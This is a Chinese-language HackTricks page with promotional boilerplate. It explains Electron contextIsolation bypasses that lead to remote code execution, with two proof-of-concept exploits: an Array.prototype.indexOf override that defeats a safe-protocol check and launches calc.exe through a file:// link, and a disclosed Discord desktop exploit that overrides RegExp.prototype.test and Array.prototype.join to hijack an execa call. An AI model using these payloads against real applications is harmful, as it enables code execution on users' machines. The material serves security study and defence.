5.5 KiB
Electron contextIsolation RCE via preload code
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们独家的NFTs收藏品
- 加入 💬 Discord群组 或 电报群组 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
示例 1
此代码使用默认浏览器打开http(s)链接:
类似file:///C:/Windows/systemd32/calc.exe
的内容可用于执行计算器,SAFE_PROTOCOLS.indexOf
正在阻止此操作。
因此,攻击者可以通过XSS或任意页面导航注入此JS代码:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
由于对SAFE_PROTOCOLS.indexOf
的调用将始终返回1337,攻击者可以绕过保护并执行calc。最终利用:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
查看原始幻灯片,了解在没有提示请求权限的情况下执行程序的其他方法。
显然,另一种加载和执行代码的方法是访问类似 file://127.0.0.1/electron/rce.jar
的内容。
示例 2:Discord 应用程序 RCE
示例来自 https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
在检查预加载脚本时,我发现 Discord 公开了一个函数,允许通过 DiscordNative.nativeModules.requireModule('MODULE-NAME')
在网页中调用一些允许的模块。
在这里,我无法直接使用可用于 RCE 的模块,比如 child_process 模块,但我找到了一段代码,可以通过覆盖 JavaScript 内置方法来实现 RCE,并干扰公开模块的执行。
以下是 PoC。我确认当我从 devTools 调用名为 "discord_utils" 的模块中定义的 getGPUDriverVersions
函数时,覆盖 RegExp.prototype.test
和 Array.prototype.join
时,calc 应用程序会弹出。
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
getGPUDriverVersions
函数尝试使用 "execa" 库执行程序,如下所示:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
通常 execa 尝试执行 "nvidia-smi.exe",该文件路径在 nvidiaSmiPath
变量中指定,然而,由于被覆盖的 RegExp.prototype.test
和 Array.prototype.join
,参数在 _execa 的内部处理中被替换为 "calc"。
具体来说,参数被替换是通过更改以下两个部分。
从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
其他支持 HackTricks 的方式:
- 如果您想看到您的 公司在 HackTricks 中做广告 或 下载 PDF 版本的 HackTricks,请查看 SUBSCRIPTION PLANS!
- 获取 官方 PEASS & HackTricks 商品
- 探索 PEASS Family,我们的独家 NFTs
- 加入 💬 Discord 群组 或 电报群组 或 关注 我们的 Twitter 🐦 @carlospolopm.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。